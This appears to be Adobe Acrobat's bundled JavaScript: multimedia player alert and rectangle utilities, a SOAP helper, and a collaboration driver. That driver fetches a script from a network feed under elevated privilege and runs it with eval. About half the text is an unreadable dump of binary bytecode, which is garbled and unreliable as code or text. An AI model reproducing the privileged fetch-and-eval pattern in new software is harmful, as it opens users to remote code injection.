		    case app.media.windowType.fullScreen:

		    {

			    player.settings.monitor = app.monitors.select( player.settings.monitorType, args.doc );

		    }

		    break;

	    }



	    // Add any stock events to the player (and set up to add them to the annot later if needed).

	    // Even if the player is never opened, no need to remove them since they won't get used.

	    if( ! args.noStockEvents )

		    app.media.addStockEvents( player, args.annot );



	    if( args.events )

	    {

		    if( ! player.events )

			    player.events = new app.media.Events;



		    player.events.add( args.events );  // Add caller's custom events

	    }



	    return player;

    }





    // Private function to get default windowType:

    // docked if there is an annot,

    // floating if there is no annot and there is a floating settings obj,

    // undefined otherwise



    app.media.priv.computeDefaultWindowType = function( args, settings )

    {

	    var retWT;

	    if( args.annot )

		    retWT = app.media.windowType.docked;

	    else if( settings.floating )

		    retWT = app.media.windowType.floating;



	    return retWT;

    }





    // Handle an alert, given an alert type name such as 'Open' and one or more object arguments.

    // These are merged together into one alert object and passed to an alerter dispatch method:

    //   alerter.dispatch(alert)

    // The alert object contains these properties:

    //   type: one of the following names (required):

    //     	'CannotPlay', 'Exception', 'FileNotFound', 'Open', 'PlayerError', 'SelectFailed'

    //   doc: Doc (required)

    //   fromUser: boolean (optional)

    //   canPlay: (CanPlay object, required for CannotPlay alert)

    //   error: { message: String } ( required for Exception alert)

    //   errorText: String (required for PlayerError alert)

    //   fileName: String (required for FileNotFound alert)

    //   selection: MediaSelection (required for SelectFailed alert)

    // The alert object may also contain extraneous properties which the alert function should ignore.

    //

    // If a.alerter exists, we call a.alerter.dispatch() if that method is found. If a.alerter does

    // not exist, or if a.alerter.dispatch() returns false, we call a.doc.media.alerter.dispatch()

    // if it exists. If that method does not exist or returns false, then we finally call

    // a.doc.media.stockAlerter.dispatch().



    app.media.alert = function( type )

    {

	    // Merge the arguments following type into the alert object, then add type last

	    var a = {};

	    for( var i = 1;  i < arguments.length;  i++ )

		    app.media.priv.copyProps( arguments[i], a );

	    a.type = type;



	    // Set the stock doc alerter if it is not already set

	    if( !( 'stockAlerter' in a.doc.media ) )

		    a.doc.media.stockAlerter = new app.media.Alerter;



	    // Dispatch to player alerter, doc alerter, or stock alerter, until one returns true

	    dispatch( a.alerter )  ||

	    dispatch( a.doc.media.alerter )  ||

	    dispatch( a.doc.media.stockAlerter );



	    // Local function to call a dispatch method and return true to stop or false to continue

	    function dispatch( alerter )

	    {

		    // Continue dispatching if no alerter object

		    if( alerter === undefined )

			    return false;



		    // Otherwise continue dispatching only if alerter.dispatch() returns false

		    return(

			    alerter == null  ||

			    typeof alerter != 'object'  ||

			    typeof alerter.dispatch != 'function'  ||

			    alerter.dispatch( a ) !== false );

	    }

    }





    // app.media.Alerter constructor and prototype

    // If an alert is the result of a user-triggered event, always show alert with no checkbox.

    // If not user triggered, include a "don't show again" checkbox and save its state in this.skip,

    // but don't show the alert at all if this.skip is already true.

    // this.skip is kept separately for each document, and shared by all alerts for that document,

    // but a custom alerter could handle this differently.



    app.media.Alerter = function()

    {

	    this.skip = false;  // true if the "don't alert again" checkbox is checked

    }



    app.media.Alerter.prototype =

    {

	    // Dispatch an alert and return true (or no value) if handled, false if not handled

	    dispatch: function( a )

	    {

		    // If alert is not from a user action, skip it if user has checked the "don't alert" box

		    if( ! a.fromUser  &&  this.skip )

			    return;



		    var skip;  // new state of the skip flag



		    switch( a.type )

		    {

			    case 'CannotPlay':

				    if( a.canPlay.canShowUI )  // only if UI allowed

				    {

					    if( a.canPlay.no.authoring )  // Playback is not allowed while authoring

						    skip = privOK( "IDS_PLAYBACK_DISALLOWED_WHILE_AUTHORING" );

					    else if( a.canPlay.no.security )  // User prefs say "no multimedia"

						    skip = privOK( "IDS_PLAYBACK_DISALLOWED_CONFIGURATION" );

					    else

						    ;  // can't get here now, but should put up generic error just in case

				    }

				    break;



			    case 'Exception':

				    // Exceptions use a plain alert with no "skip" checkbox

				    app.alert( a.error.message );

				    break;



			    case 'FileNotFound':

				    skip = app.media.alertFileNotFound( a.doc, a.fileName, ! a.fromUser );

				    break;



			    case 'Open':

				    // TODO - show UI here, except if already shown (e.g. for failPlayerSecurityPrompt)

				    // may want more info from open (e.g. to tell us if UI was shown already)

				    break;



			    case 'PlayerError':

				    skip = privOK( "IDS_JS_PLAYBACK_ERROR", a.errorText );

				    break;



			    case 'SelectFailed':

				    skip = app.media.alertSelectFailed(

					    a.doc, a.selection.rejects, ! a.fromUser, a.fromUser );

				    break;

		    }



		    if( ! a.fromUser  &&  skip )

			    this.skip = true;



		    return true;  // no further processing



		    // Local function to display an "OK" alert with optional "don't alert again" checkbox.

		    // Return checkbox result value, or undefined if no checkbox.

		    function privOK( idMsg, strAppend )

		    {

			    var o = { cMsg: app.media.priv.getString(idMsg) + ( strAppend || '' ),

					      nIcon: 0, nType: 0, oDoc: a.doc };



			    if( ! a.fromUser )

				    o.oCheckbox = { cMsg: app.media.priv.getString("IDS_DONOT_SHOW_AGAIN_DOC"),

								    bInitialValue: false };



			    app.alert( o );



			    if( o.oCheckbox )

				    return o.oCheckbox.bAfterValue;

		    }

	    },

    }

    // end app.media.Alerter.prototype



    // Prototype for doc.media

	Object.defineProperty( app.media.priv, "docMediaProto", {

		value: {

					// Return an array of all the currently open media players

					getOpenPlayers: function()

					{

						var players = this.adbeDoc.media.priv.players;

						return players ? players.slice(0) : [];

					},

			  },

		writable: false,

		enumerable: true,

		configurable: false

	});	 

    

    // end app.media.priv.docMediaProto





    // Debugging code



    app.media.priv.dumpObject = function( obj, str, bValues )

    {

	    if( ! str )

		    str = "";

	    else

		    str += " ";



	    str += "(" + obj + ") [" + typeof(obj) + "]\n";



	    for( var prop in obj )

		    str += "   " + prop + ( bValues ? ": " + obj[prop] : "" ) + "\n";



	    app.media.priv.trace( str );

    }





    app.media.priv.dumpNames = function( obj, str )

    {

	    app.media.priv.dumpObject( obj, str, false );

    }





    app.media.priv.dumpValues = function( obj, str )

    {

	    app.media.priv.dumpObject( obj, str, true );

    }





    app.media.priv.dumpArray = function( array, str )

    {

	    if( ! str )

		    str = "";

	    else

		    str += " ";



	    str += "(" + array + ") [" + typeof(array) + "]\n{ ";



    /*

	    if( array.length )

		    app.alert( "has length" );

	    else

		    app.alert( "no length" );

    */



	    for( var i = 0;  i < array.length;  i++ )

		    str += array[i] + ( i < array.length - 1 ? ", " : " }" );



	    app.media.priv.trace( str );

    }





    app.media.priv.trace = function( str )

    {

	    if( app.media.trace )

		    console.println( str );

    }





    // Private function called in a rendition action. Alerts on failure.



    app.media.priv.stopAnnotPlayer = function()

    {

	    try

	    {

		    annot = event.action.annot;

		    if( annot.player )

			    annot.player.close( app.media.closeReason.stop );	// fires Close event, may fire Blur

	    }

	    catch( e )

	    {

		    app.alert( e.message );

	    }

    }





    // Private function called in a rendition action. NOP if already paused. Alerts on failure.



    app.media.priv.pauseAnnotPlayer = function()

    {

	    try

	    {

		    annot = event.action.annot;

		    if( annot.player )

			    annot.player.pause();

	    }

	    catch( e )

	    {

		    app.alert( e.message );

	    }

    }





    // Private function called in a rendition action. NOP if not paused. Alerts on failure.



    app.media.priv.resumeAnnotPlayer = function()

    {

	    try

	    {

		    annot = event.action.annot;

		    if( annot.player )

			    annot.player.play();

	    }

	    catch( e )

	    {

		    app.alert( e.message );

	    }

    }





    // Enumerate and copy properties from one object to another object or to a new object, and

    // return the resulting object. This is a shallow copy: any objects referenced by the from

    // object will now be referenced by both the from and to objects.



    app.media.priv.copyProps = function( from, to )

    {

	    if( ! to )

		    to = {};



	    if( from )

	    {

		    for( var name in from )

			    to[name] = from[name];

	    }



	    return to;

    }





    // Rectangle utility functions





    // Tables used  by rectAlign to map app.media.align values to window positioning multipliers.



    // see app.media.align.*       un    tl    tc    tr    cl    c     cr    bl    bc    br

    app.media.priv.xPosTable =  [ 0.5,  0.0,  0.5,  1.0,  0.0,  0.5,  1.0,  0.0,  0.5,  1.0 ];

    app.media.priv.yPosTable =  [ 0.5,  0.0,  0.0,  0.0,  0.5,  0.5,  0.5,  1.0,  1.0,  1.0 ];





    // Given an app.media.align value and a desired width and height, return a rectangle

    // aligned with rect according to the align value.



    app.media.priv.rectAlign = function( rect, align, width, height )

    {

	    if( ! align )

		    align = app.media.align.center;



	    var x = rect[0] + ( rect[2] - rect[0] - width  ) * app.media.priv.xPosTable[align];

	    var y = rect[1] + ( rect[3] - rect[1] - height ) * app.media.priv.yPosTable[align];



	    return [ x, y, x + width, y + height ];

    }





    // Given an app.media.align value and a rect, return an anchor point



    app.media.priv.rectAnchorPt = function( rect, align )

    {

	    if( ! align )

		    align = app.media.align.center;



	    var x = rect[0] + ( ( rect[2] - rect[0] ) * app.media.priv.xPosTable[align] );

	    var y = rect[1] + ( ( rect[3] - rect[1] ) * app.media.priv.yPosTable[align] );



	    return [ x, y ];

    }





    // Returns the area of a rectangle.  If rect is empty, 0 is returned.



    app.media.priv.rectArea = function( rect )

    {

	    if( app.media.priv.rectIsEmpty( rect ) )	// empty rect might be [10,10,0,0] so cannot just do the math

		    return 0;

	    else

		    return ( rect[2] - rect[0] ) * ( rect[3] - rect[1] );

    }





    // Returns rect grown by size, an array of four values giving the amount to grow each edge.

    // Returned rect is a new object, input rect is not modified.



    app.media.priv.rectGrow = function( rect, size )

    {

	    return [

		    rect[0] - size[0],

		    rect[1] - size[1],

		    rect[2] + size[2],

		    rect[3] + size[3]

	    ];

    }





    // Returns the intersection of two rectangles.

    // If either input rect is empty, or there is no intersection, [0,0,0,0] is returned.

    // Returned rect is a new object, input rects are not modified.



    app.media.priv.rectIntersect = function( rectA, rectB )

    {

	    var newRect;



	    if( app.media.priv.rectIsEmpty(rectA) || app.media.priv.rectIsEmpty(rectB) )

	    {

		    newRect = [ 0, 0, 0, 0 ];

	    }

	    else

	    {

		    newRect =

		    [

			    Math.max( rectA[0], rectB[0] ),

			    Math.max( rectA[1], rectB[1] ),

			    Math.min( rectA[2], rectB[2] ),

			    Math.min( rectA[3], rectB[3] )

		    ];



		    if( app.media.priv.rectIsEmpty( newRect ) )

			    newRect = [ 0, 0, 0, 0 ];

	    }



	    return newRect;

    }





    // Take the intersection of two rectangles and return its area.



    app.media.priv.rectIntersectArea = function( rectA, rectB )

    {

	    return app.media.priv.rectArea( app.media.priv.rectIntersect( rectA, rectB ) );

    }





    // Is a rectangle empty?



    app.media.priv.rectIsEmpty = function( rect )

    {

	    return  ! rect  ||  rect[0] >= rect[2]  ||  rect[1] >= rect[3];

    }





    // Returns new object that contains same values (not custom values) as input rect.



    app.media.priv.rectCopy = function( rect )

    {

	    return [ rect[0], rect[1], rect[2], rect[3] ];

    }





    // Returns the union of two rectangles.

    // Returned rect is a new object, input rects are not modified.



    app.media.priv.rectUnion = function( rectA, rectB )

    {

	    return(

		    app.media.priv.rectIsEmpty(rectA) ? app.media.priv.rectCopy( rectB ) :

		    app.media.priv.rectIsEmpty(rectB) ? app.media.priv.rectCopy( rectA ) :

		    [

			    Math.min( rectA[0], rectB[0] ),

			    Math.min( rectA[1], rectB[1] ),

			    Math.max( rectA[2], rectB[2] ),

			    Math.max( rectA[3], rectB[3] )

		    ]

	    );

    }





    // Get a resource string



    app.media.priv.getString = function( idString )

    {

	    return app.getString( 'Multimedia', idString );

    }





    // Return a value or a default if the value is undefined



    app.media.priv.valueOr = function( value, def )

    {

	    return value !== undefined ? value : def;

    }





    // Private constants



    app.media.priv.altTextPlayerID = 'vnd.adobe.swname:ADBE_AltText';





    //console.println( app.media.priv.getString('IDS_JS_STARTUP') );





    // End of try block for entire file



    }

    catch( e )

    {

	    console.println( e.extMessage );

    }

} // end of InitializeMultimediaJS

// End of media.js





try {



/* 

Bug#1736493:- Search for Additional Services under Comments menu has been removed. 

This global function is being exposed unnecessarily. Commenting it. 

*/



/*

SPSearchForServices =  app.trustedFunction(function()

{

	var dialog = ANTrustPropagateAll(

	{

		serviceType: "acrobatSRV",

		client: ["local.", ""], // Domains to search in

		services: {},

		domains: {},

		resourceContext: "SOAP",

		committing: false,

		types:

		{

			"RSS":	SOAPString.IDS_JS_SERVICES_FEED,

			"UI":	SOAPString.IDS_JS_SERVICES_UI,

		},



		description:

		{

			name: "$$$/Dialogs/SearchForServices",

			elements: 

			[

				{

					type: "view",

					align_children: "align_left",

					elements: 

					[

						{

							type: "cluster",

							name: "$$$/Dialogs/SearchForServices/ClusterTitle",

							elements: 

							[

								{

									type: "static_text",

									name: "$$$/Dialogs/SearchForServices/PleaseSelect"

								},

								{

									type: "list_box", 

									item_id: "sele", 

									width: 300, 

									height: 200

								},

								{

									type: "static_text",

									item_id: "srvt",

									wrap_name: true,

									width: 300,

									height: 40

								}

							]

						},

						{

							type: "ok_cancel"

						}

					]

				}

			]

		},

		updateServices: function()

		{

			this.dialog.load({ sele: this.services });

		},

		addServices: function(services)

		{

			for(var i in services)

			{

				var service = services[i];

				this.services[service.name] = -1;

				this.domains[service.name] = service.domain;

			}

			this.updateServices();

		},

		removeServices: function(services)

		{

			for(var i in services)

			{

				var service = services[i];



				delete this.services[service.name];

				delete this.domains[service.name];

			}

			this.updateServices();

		},

		initialize: function(dialog)

		{

			dialog.enable({"ok": false});



			this.dialog = dialog;



			app.beginPriv();

			this.query = SOAP.queryServices(this.serviceType, this, this.client);

			app.endPriv();

		},

		validate: function(dialog)

		{

			return true;

		},

		commit: function(dialog)

		{

			this.committing = true;



			var sele = dialog.store()["sele"];

			

			for(var i in sele)

			{

				if(sele[i] > 0)

				{

					app.beginPriv();

					this.resolver = SOAP.resolveService(this.serviceType, this.domains[i], i, this);

					app.endPriv();

					break;

				}

			}

		},

		destroy: function(dialog)

		{

			if(typeof this.query != "undefined")

			{

				this.query.stop();

				this.query = null;

			}

		},

		resolve: function(name, service)

		{

			try

			{

				var type = service.feedType;

				if(type == undefined) type = service.type;



				if(this.committing)

				{

					var url = "http://" + service.target + ":" + service.port + "/" + service.path;

					app.beginPriv();

					RSS.addFeed({ cURL: url, cType: type });

					app.endPriv();



					if(type == "RSS")

						app.launchURL("acrobat:Inbox?show");

				}

				else

				{

					this.dialog.load({"srvt": this.types[type]});

				}

			}

			catch(e)

			{

				console.println("EXCEPTION: " + e);

			}

		},



		"sele": function(dialog)

		{

			if(this.resolver != undefined)

			{

				this.resolver.stop();

				this.resolver = undefined;

			}



			var sele = dialog.store()["sele"];

			

			for(var i in sele)

			{

				if(sele[i] > 0)

				{

					app.beginPriv();

					this.resolver = SOAP.resolveService(this.serviceType, this.domains[i], i, this);

					app.endPriv();

					this.dialog.enable({"ok": true});

					return;

				}

			}

			dialog.enable({"ok": false});

		}

	});



	app.beginPriv();

	dialog.resolve = app.trustedFunction(dialog.resolve);

	app.execDialog(dialog);

	app.endPriv();



});



// SPSearchForServices Function commented



*/



SOAP.stripNS = function (p, ns)

{

    if(typeof p == "object")

    {

		if(p.length == undefined)

		{

			var result = {};

			for(var i in p)

			{

				var key = i;

				var offset = i.indexOf(ns);

				if(offset == 0) key = i.slice(ns.length);

				result[key] = SOAP.stripNS(p[i], ns);

			}

			p = result;

		}

		else for(var i = 0; i < p.length; i++) p[i] = SOAP.stripNS(p[i], ns);

    } 

	return p;

} // stripNS



//

/////////////////////////////////////////////

// Dynamic Network Configurable Collab Driver

/////////////////////////////////////////////

//

DynamicAnnotStore = app.trustedFunction(function(doc, user, settings)

{

	this.doc = doc;

	this.user = user;

	this.settings = settings;

	this.driver = null;

	var e;



	try

	{

		app.beginPriv();



		// Add a temporary JS Feed

		RSS.addFeed(this.settings, true, false, "JS");



		// Update Synchronously

		RSS.update(this.settings, false);



		// Get the feed contents

		var script = RSS.getContents(this.settings);



		app.endPriv();



		if(typeof script != "undefined")

		{

			(function(s){ return eval(s) })(script);



			this.driver.init(doc, user, settings);

		} else console.println("Didn't Load driver " + settings);

	}

	catch(e)

	{

		app.endPriv();

		this.driver = null;

		console.println("EXCEPTION: " + e);

	}



	this.enumerate = function(sorted)

	{

		if(typeof this.driver != "undefined") 

			return this.driver.enumerate(sorted);

		else return null;

	}



	this.complete = function(toComplete)

	{

		if(typeof this.driver != "undefined") 

			return this.driver.complete(toComplete);

		else return false;

	}



	this.getDocInfo = function()

	{

		if(typeof this.driver != "undefined") 

			return this.driver.getDocInfo();

		else return null;

	}



	this.update = function(toDelete, toAdd, toUpdate)

	{

		if(typeof this.driver != "undefined") 

			return this.driver.update(toDelete, toAdd, toUpdate);

		else return false;

	}

});



const SOAPMessageStyle = 

{

	JS: "JS",

	XML: "XML",

	Message: "Message"

};



const SOAPVersion =

{

	version_1_1: "1.1",

	version_1_2: "1.2"

};



const StreamDigest =

{

	MD5: "MD5",

	SHA1: "SHA1"

};



const ServiceDiscovery =

{

	local: "local",

	DNS: ""

};



const SOAPRequestStyle =

{

	SOAP: "SOAP",

	RawPost: "RawPost"

};	



if(typeof SOAP != "undefined")

{

	if(typeof RSS != "undefined")

		Collab.addAnnotStore("CONFIG", SOAPString.IDS_COLLABSTORE_DYNAMIC,

			{create: function(doc, user, settings){ return (settings && settings != "") ? new DynamicAnnotStore(doc, user, settings) : null; }});

}



} catch(e) {

	console.println(e.extMessage);

}



byteCodeToolc����������	�
��������������"�$�(�*�,�.�0�7�;�=�T�t����������ˀӀ؀ۀހ1�3�8�L�N�P�T�U�V�X�Z�\�^�_�`�a�b�c�d�e�f�g�h�i�n�o�p�q�r�s�t�u�v�w�x�y�z�{�|�}�~������������������������������������ÀȀ̀πӀԁ�������)�0�1�2�G���R�V�[�^�a�;5Q;5Q;5Q;5Q;5Q;5Q;5Q;5Q;5		Q;5

Q;5Q=
Q=Q=Q=Q=QXLQXxQX�QX�QX�Q;�=�RQ;�=�= �=!�RQ;�=#�R"Q;�=%�=&�='�R$Q;�=)�R(Q;�=+�R*Q;�=-�R,Q;�=/�R.Q;�=1�=2�=3�=4�=5�=6�R0Q;�=8�=9�=:�=6�R7Q;�=<�R;Q;�=>�R=Qn?;@�Ro?;?;B6A;?;D6C;?;�=�R6E;?;�=G�>�R6F;?;�=G�?�R6H;?;�=G�<�R6I;?;�=G�<�R6J;?;�=G�<�R6K;?;�=M�?�>�>�R6L;?;�=M�>�?�>�R6N;?;�=M�>�>�?�R6O;?;�=Q�?�>�>�>�R6P;?;�=Q�>�?�>�>�R6R;?;�=Q�>�>�?�>�R6S;@�RTQ;T=V6U;T=X6W;T=Z6Y;T=\6[;T=^6];T=`6_;T=b6a;T=d6c;T=f6e;T=h6g;T=j6i;T=l6k;T=m6m;T=o6n;T=q6p;T=s6r;@�RtQ;t=v6u;t=x6w;t=z6y;t=|6{;t=~6};@�RQ;=�6�;=�6�;=�6�;=�6�;=�6�;=�6�;@�R�Q;�=�6�;�=�6{;�=�6�;�=�6�;@�R�Q;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;@�R�Q;�>6�;�?6�;��6�;@�R�Q;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;@�R�Q;�>6�;�?6�;��6�;��6�;��6�;��6�;��6�;@�R�Q;�>6�;�?6�;��6�;��6�;@�R�Q;�>6�;�?6�;@�R�Q;�>6�;�?6�;��6�;��6�;@�R�Q;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�Z	;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`\6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=�6�;�=6;�=6;�=6;�=6;�=6;�=6	;�=6
;�=
6;�=6;�=6;�=6;�=�6�;�=6;�=6;�=6;�=6;�=6;�=6;�=!6 ;�=#6";�=%6$;�='6&;�=)6(;�Z;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`;�5�`;�5`;�5`;�5`	;�5	`
;�5
`;�5`;�5`
;�5`;�5`;�5�`;�5`;�5`;�5`;�5`;�5`;�5`;�5 `;�5"`;�5$`;�5&`;�5(`\6*;��6+;�>6,;�?6-;��6.;��6/;��60Y=2]2\1QY=4]5=6]7\3Q;@�R8Q;8=:69;8=<6;;8=>6=;8=@6?;8=B6A;8=D6C;8=F6E;8=G6G;8=I6H;8=K6J;@�RLQ;L=M6M;@�RNQ;N�6O;Q�RPQ;P�R
�=S�:;Q�RTQ;T�R
�;5	�={�:;Q�RUQ;U�R
�;5�={�:;Q�RVQ;V�R
�=W�:;Q�RXQ;X�R
�=Y�:;Q�RZQ;Z�R
�=[�={�:9]�]�;�:\Q9]�]�;�:^Q9]�]�;"�:_Q9]�]�;$�:`Q9]�]�;(�:aQ9]�]�;*�:bQ9]�]�;,�:cQ9]�]�;.�:dQ9]�]�;0�:eQ9]�]�;7�:fQ9]�]�;;�:gQ9]�]�;=�:hQ9]�]�;5
�j
��:�:iQ	

 !"#$%&'()*+,-./0123456789>�:v�:Q;k�l
�:5m�:��>nQ?oQ�pQ�qQ�rQ�sQ�tQ>uQ?vQ�wQ�xQ�yQ�zQ�{Q�|Q?}Q>~Q=�Q=��Q=��Qn��;o�Qn��<o�Q;�'=�Z=n�;���
�>�:o�?@=��A��
�:=��Q=��B��
�:=��QZ�C`�D`�E`�F`�G`�H`�I`\�QZ�J`�K`�L`�M`�N`�O`�P`\�QZ;o`;q`;t`;r`\�QQRSTUV;�'=��n�;���
�W�:o�Q?�Q��Q��QXYZ[\]Y�^]��_]��`]�\�Qabcdefghijklmnn�;���
�o�:o�pqrstuvwxyn�;���
�z�:o�n�;���
�{�:o�n�;���
�|�:o�n�;���
�}�:o�n�;���
�~�:o�n�;���
��:o�n���o�n���o�n���o���n�;���
���:o�����n�;���
���:o�n�;���
���:o�n�;���
���:o�>��v��Q;k�l
��5m�:��������ZY=�]���]�=4]�;�5�]�=4]�C]�\`\�QZY=�]���]�=4]�;�5�]�=4]�C]�\`\�QZ
Y=�]���]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�=4]�;�5�]�=4]�C]�\`Y=�]���]�=4]�;�5�]�=4]�C]�\`	\�QZY=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�;�5�]�;�5�]�=4]�C]�\`Y=�]���]�=4]�;�5�]�=4]�C]�\`	Y=�]���]�=4]�;�5�]�=4]�C]�\`
\�QZY=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�=4]�;�5�]�=4]�C]�\`\�QZY=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`\�QZY=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`\�QZY=�]���]�;�5�]�;�5�]�C]�\`Y=�]���]�;�5�]�;�5�]�C]�\`\�Q�ZY��]�;�5�]�;�5�]�;�5���
�=��:@;�5�;�5�]�\`Y��]�;�5�]�;�5�]�;�5�]�;�5�]�\`Y��]�;�5�]�;�5�]�;�5�]�;�5�]�\`Y��]�;�5�]�;�5�]�;�5�]�\`\�Q;�'=�
�;�;�5�=�
X�X�6�;�;�5�=�
XPX?6�;�X�6�;��6�;��6�;��6�;��6�;��6�;�� 6�;�� 6�;��6�;��6��������������������n���o�n���o�n���o�n���o�n���o�nʂ�o�������n�@o�Q���n�;���
���:o����n���o�n���o�n���o�nƂ�o�n���o�n‚�o��n�;�5�o�Qn=4oQn;�RoQ�n���o�n��on��on��on���o�n��o�n���o�n��on;���
���:on	��o	n
��o
n��on��on
��o
n��on;���
���:on;���
���:o�n���o�n;���
��:on;���
��:on;���
��:on�on�o	
Y�]�
]Y;�5]�]�]�]�]�]�] �]!ZY�]"�]#�]$\`\]%Y\]&\]'�](\QY�]*�]+�],�]-�]�].�]/Y;�5]� ]�!]�"]�#]�$]�%] �&]!ZY�']"�(]#�)]$\`Y�*]"�+]#�,]$\`\]%Y\]&\]'�-](\)QY�.]*�/]+�0],�1]-�2]�3].�4]/Y;�5]�5]�6]�7]�8]�9]�:] �;]!ZY�<]"�=]#�>]$\`Y�?]"�@]#�A]$\`\]%Y\]&\]'�B](\0QY�C]*�D]+�E],�F]-�G]�H].�I]/Y;�5]�J]�K]�L]�M]�N]�O] �P]!ZY�Q]"�R]#�S]$\`Y�T]"�U]#�V]$\`\]%Y\]&\]'�W](\1QY�X]*�Y]+�Z],�[]-�\]�]].�^]/Y;�5]�_]�`]�a]�b]�c]�d] �e]!ZY�f]"�g]#�h]$\`Y�i]"�j]#�k]$\`\]%Y\]&\]'�l]3�m](\2Q;��4
�:;5�6
�=7�;)�:;5�6
�=8�;2�:;�5�=9;5�6
�=:�;1�:;5�6
�=;�;�:;��<
�:nn=;���
�o�:o=n>;���
�p�:o>n?;���
�q�:o?rsn@�to@nA;���
�u�:oAnB�voBwnC;���
�x�:oCnD;���
�y�:oDnE;���
�z�:oE{|}nF;���
�~�:oF9F�F�:>�v�Q;k�l
�5m�:�Y��]H��]I��]J��]K��]L��]M��]N\GQ�;O��6PnQ;���
���:oQY=S]S=T]T=U]U\RQY=W]X=Y]Z\VQY=\]\=]]]\[QY=_]_=4]`\^QY=O]O=b]b\aQ;O'=�I;5'=�8;��c
�=d�;e5f�Y��]�\�:>��v��Q;k�l
��5m�:�˜��������������������������������!����������'��*��/��2��7��:��=��@��C��L��R��U�������Ȉ��Ј��و�����������������������#���i����������z���~����������������������̈�����������������������������������������������������������������������������M���S���\���n�������
,���
ˆ������F���%ۈ��%���%���&C���&����&Lj��&���'���'���8����M���������o3���o����q!���rLj��t�������ʘ��+�	���Έ	���������������#����)����ААААААААААИːːːː˘!ɐɐɐɐɘ'�Ϙ*���Ϙ/�Ϙ2���Ϙ7�Ϙ:�Ϙ=�Ϙ@�ϘC����H��ϘL����ϘR�ϘU�Ϙ[�|���ՐААېݐݐ��������㐐�ААААААААААААААААА��АААААА��ААААААА��ААААА��АААААААА��А̐̐͐��ААААААААААААААААААА��А̐̐͐͐͐͐͐��А̐̐͐͐��А̘̐�А̐̐͐͐��А�ААААААААА��ɐ����Ր��АААААААААААААААААААААААААААААА��ɐ�����������㐐�͐̐̐͐͐͐��֐���ААААААААААА�АА��АИ��АאА�А�АאАאАݐ����ڐڐڐڐڐڐڐڐڐڐڐڐ𐐝�杀�����!��.��Q��\��f��p��������ĝ�r��J��V�����������͝�ٝ������F��K��P��V��[��`��u����ŝ��������)��X��m��������ʝ�杀����.��;��[��d��k��������ϝ�ڝ��}���А��{���������ȐȐȐȐȐ���ȐȐȐȐȐȐ����ːːː�И�И��������'�ᘀ3��E��M֘�Q̐�֘�W̘�\��ɐɐɐɐɘ�fɐИ�n��ɐɐɐɐɘ�xɐИ��������������ҝ�	0��
*����ᘀ
—ȐȐ���
❀
���
��3��F��ʐʐј�N��]��i�����������ɝ�Н�,��3��h��|���������ᘀ���
�i��������������Ý�͝���rᘀ�ᘀᘀ
